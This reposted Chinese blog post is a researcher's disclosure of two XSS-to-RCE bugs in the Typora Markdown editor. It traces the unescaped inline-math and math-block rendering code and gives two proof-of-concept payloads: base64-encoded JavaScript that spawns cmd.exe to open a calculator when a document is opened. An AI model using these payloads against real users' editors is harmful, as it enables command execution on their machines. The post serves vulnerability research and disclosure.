Typora XSS 到 RCE(下)

栏目: 编程工具 · 发布时间: 7年前

内容简介:上一篇文章讲了我通过黑盒测试从输出点入手挖到的 Typora 可以导致远程命令执行的XSS,并分析了漏洞原因。那么今天就讲一下我从代码入手挖到的另外两个XSS。我们知道容易导致 XSS 的一种情况就是,用户可以控制的内容未经处理直接拼接进 HTML 。那么我们这一次直接在代码中寻找这样的位置。

Typora XSS 到 RCE(下)

前言:

上一篇文章讲了我通过黑盒测试从输出点入手挖到的 Typora 可以导致远程命令执行的XSS,并分析了漏洞原因。那么今天就讲一下我从代码入手挖到的另外两个XSS。

漏洞二&三:

从解析Markdown的代码入手:

我们知道容易导致 XSS 的一种情况就是,用户可以控制的内容未经处理直接拼接进 HTML 。那么我们这一次直接在代码中寻找这样的位置。

通过上一次的分析,我们已经大概知道了 Typora 将 Markdown 解析成 HTML 的过程,其中负责将 Markdown 语法转换成 HTML 的主要函数就是 ce.prototype.output ,既然这次要从代码入手找漏洞,我们当然就需要对这个函数有一定的了解,这里简要对这个函数的主要逻辑做一个分析:

ce.prototype.output = function(
 String e, //输入的内容 .eg:~~del~~ 
 Function t, //生成HTML的规则函数
 Bool n, //开关,决定要不要对格式为:[xxx](<a href="https://www.eg.com">https://www.eg.com</a>) 中的特殊字符(\=,\*,\\,\[,\_)进行替换
 Object r, //输入内容type, .eg:{"attr":true}
 Object o //记录游标信息的对象
 ) {
 t = t || this.options.decorate, // 如果t为null,则使用 this.options.decorate 作为生成HTML的规则函数
 ......
 function S(Array e){ //参数e的结构在后面说
 ......
 // 将传入的数组中的对象,分别使用函数t处理,生成HTML
 for (var n = "", i = 0; i < e.length; i++) {
 ......
 var r = e[i];
 n += t(r,w,o);
 }
 return n;
 } 
 ......
 //对markdown语法进行正则匹配、处理的部分:
 for((判断是否处理结束的条件);e;){
 if (r.markLinebreak && (f = /^\r?\n/.exec(e)))){......}
 else if (f = this.rules.escape2.exec(e)){......}
 ......
 else if (f = this.rules.del.exec(e)) //如果匹配到满足del的语法
 //.eg f:["~~del~~", "del", index: 0, input: "~~del~~", groups: undefined]
 y += f[0].length,
 e = e.substring(f[0].length), // 删除已经处理完的部分
 b.push({
 type: a.del, // a.del 就是 "del",其他的也一样
 pattern: "~~", // 匹配到的语法标志
 inner: this.output(f[1], t, !0), //递归调用ce.prototype.output,对内部的其他语法进行处理
 text: f[1] //除去语法标志后的内容
 });
 ......
 }
 G = S(b); //使用 S 函数对 匹配结束后生成的数组 b ,进行处理。
 return G;
 }

整个逻辑大体就是通过正则表达式匹配 Markdown 语法,标记后传入 t 函数生成,根据相应的规则生成HTML。

t 函数可以是外部传进来的,否则默认设置为 ce.options.decorate , 那么我们来看一下 ce.options.decorate ,通过搜索找到定义 ce.options.decorate 的位置:

function ce(e, t, n) {
 this.options = e || ye({}, Te.defaults),
 this.options.decorate = t || s.decorate,
 this.options.context = n || this,
 this.rules = le.normal,
 ......
 }

发现这里的逻辑也是一样的,在没有传入外部函数的情况下,使用默认值 s.decorate ,找到 s.decorate :

Typora XSS 到 RCE(下)

终于到了生成 HTML 的位置了,可以愉快的找漏洞了!这里的对象 e 就是上面数组 b 中的元素,如果有忘记格式的朋友,可以去上面再看一眼。

我们可以看到这个函数内大多是直接将内容拼接进 HTML 字符串。那么只要被拼接的内容我们可以控制,就可以造成 XSS, 而对象 e 中我们可以控制的内容就是 text 属性。那么我们就找一找有没有直接拼接 e.text 的地方。

果然,我们发现在 e.type 值为 inline-math 的时候,直接将 e.text 进行了拼接:

case c.inline_math:
 return e.text = e.text.replace(/\u200B+/g, ""),
 !/^\$+$/.exec(e.text) && svgCache[e.text] ? "<span class='md-inline-math math-jax-postprocess' md-inline='inline_math' ><span class='md-before md-meta'>" + e.pattern + "</span><span class='inline-math-svg'>" + svgCache[e.text] + "</span><span class='md-math-after-sym'></span><span class='md-after md-meta'>" + e.pattern + "</span></span>" : "<span class='md-inline-math math-jax-preprocess' md-inline='inline_math'><span class='md-before md-meta'>" + e.pattern + "</span><span class='md-math-tex inline-math-svg'><script type='math/tex'>" + e.text + "<\/script></span><span class='md-math-after-sym'></span><span class='md-after md-meta'>" + e.pattern + "</span></span>";

那么就有了我们的漏洞二,poc 如下:

$</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>$

当用户打开包含上述代码的文档时,就会弹出一个计算器:

Typora XSS 到 RCE(下)

扩大战果:

这时候别高兴得太早,我们还能扩大战果:大家看到 inline_math 这个名字有没有敏感的想到,既然有行内公式,就一定也有行间(块)公式,既然行内公式有漏洞,那么行间公式会不会也有问题呢?而我们当前的 s.decorate 函数中只有对行内元素的处理,于是分别尝试全局搜索: block_mathdisplay_math,math_block 等关键词,最终找到了对 math_block 的处理:

case o.math_block:
 var F = document.createElement("script");
 return F.textContent = this.get("text") || "<Empty \\space Math \\space Block>",
 F.setAttribute("type", "math/tex; mode=display"),
 "<div contenteditable='false' spellcheck='false' class='mathjax-block md-end-block md-math-block md-rawblock' id='mathjax-" + this.cid + "' " + f(this) + ">" + d.replace("{type}", $.localize.getString("Math", "Menu")) + "<div class='md-rawblock-container md-math-container' tabindex='-1'>" + F.outerHTML + "</div></div>";

我们看到,这里创建了一个 type 属性为 math/tex; mode=displayscript 标签 F ,然后将待处理的文字内容( this.get("text") )直接赋值作为 textContent ,随后又将 F.outHTML 拼接进了 HTML 代码中返回,问题就出在这里。本来将内容作为 textContent ,是不会导致XSS的,但是经过 F.outerHTML 后再拼接回去,就和直接拼接 HTML 代码无异了。于是有了漏洞三,poc只需把漏洞二的 $ 改成 $$ 即可:

$$</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>$$

截止目前(2019.2.11),漏洞二已经在 v0.9.64 中被修复,而漏洞三在提交16天过后仍未修复。

结语:

这是我第一次挖掘 Webapp 的漏洞,思路和方法都难免有些不是很成熟的地方,欢迎并感谢大家讨论和指教 。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Programming Ruby

Programming Ruby

Dave Thomas、Chad Fowler、Andy Hunt / Pragmatic Bookshelf / 2004-10-8 / USD 44.95

Ruby is an increasingly popular, fully object-oriented dynamic programming language, hailed by many practitioners as the finest and most useful language available today. When Ruby first burst onto the......一起来看看 《Programming Ruby》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具